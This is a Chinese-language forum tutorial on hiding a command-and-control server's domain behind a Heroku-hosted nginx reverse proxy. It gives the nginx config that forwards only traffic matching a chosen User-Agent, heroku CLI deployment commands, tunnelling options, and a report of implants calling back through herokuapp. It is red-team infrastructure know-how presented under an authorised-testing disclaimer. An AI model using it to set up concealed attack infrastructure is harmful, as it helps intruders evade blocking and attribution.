本帖最后由 alyssa 于 2023-10-26 23:23 编辑
声明:本文仅做技术分享,图片结果均为网络分享图片,请各位看后遵守《网络安全法》,在授权前提下进行渗透测试,学习本文技巧所有产生后果与笔者无关。话说现在隐藏C2域名的手段层出不穷,笔者参考了网上众多隐藏技巧,经过一定的钻研写下了这篇使用Heroku反向代理隐藏域名的分享文章,但和域前置、云函数技术不同, 本方法是建立一个堡垒机,同样用nginx反向代理:两个VPS,姑且称为a和b,a中搭建nginx,设置过滤规则,例如Host:www.b.com ,则将请求转发到b: proxy_pass http://VPS b的ip:80,
当然也要使用X-Forwarded-For。
但这么做比较浪费,a变黑了就得换,不然还没渗透呢都被人给墙了。 这里介绍一个web代理服务:heroku : heroku.com
可注册匿名账户,从github拉取代码建立网站,或者部署docker建立app,相当于多个随便用的代理VPS。 首先注册,确认邮件,然后登陆后确认是否成功:
这里就有个坑,一般很少人安装linux的桌面环境,这个应用需要web浏览器跳转连接登陆,然后认证账密。
填坑思路1:各位可以安装桌面后远程+安装浏览器访问(我没用)。
填坑思路2:将vps流量代理出来,使用chisel、socat、或ssh隧道的代理方式。
再或者frp、nps的内网穿透,或者干脆写个py脚本代理一下。
将本地浏览器代理设置为你开的socks或http。,然后在上图这个等待界面,复制链接到浏览器打开:
最后使用账密登录:
cd heroku-docker-nginx-example
修改其中default.conf.template: server {
listen $PORT;
location / {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
if ( $http_user_agent = "Mozilla/1.0 (Windows NT 5.0; …)")
{
proxy_pass http://你的域名地址:80;
}
root /usr/share/nginx/html;
index index.html;
}
}
其中你的域名地址可以为根域名、子域名、甚至ip加端口,都可以的啦~ 结合mallble c2 文件中定义http_stager设置还可过滤http_user_agent,各种骚操作没有你做不到哦~ 然后登录container: heroku container:login
创建app: heroku create
然后上传web:
heroku container:push web
最后发布web: heroku container:release web
这里的作用是使用你拉取的镜像在云端建立一个开放80访问的docker,用来代理请求。具体访问路径是创建的app名(如examplename),拼接起来为:examplename.herokuapp.com
注意:这里创建后可去个人中心重命名该应用
也可创建时指定名称: heroku create examplename
后续操作中指定app: heroku container:push web -a examplename
heroku container:release web -a examplename
完成后个人中心或者拼接url可打开访问:
未满足我的过滤条件,访问默认nginx为正常页面,设置我的过滤规则后,例如UA、Host,在c2中可看到访问信息:
但问题是heroku目前只支持绑定80端口-http协议,需要https还需要在个人中心申请证书。
绑定为https可接受第一次访问,最后依然会转为http,图省事直接绑定为http类型。
实测可正常上线,ip地址为真实外网ip:
执行命令可正常回显:
抓包发现为herokuapp的地址:
缺点:1只可代理http协议。2heroku有用户协议,如果不慎会被封号。 优点:地址黑了可以直接删了app重建一个。最后PS:heroku反向代理也可设置为CDN加速之后的域名,但理论上会延迟访问时间。
|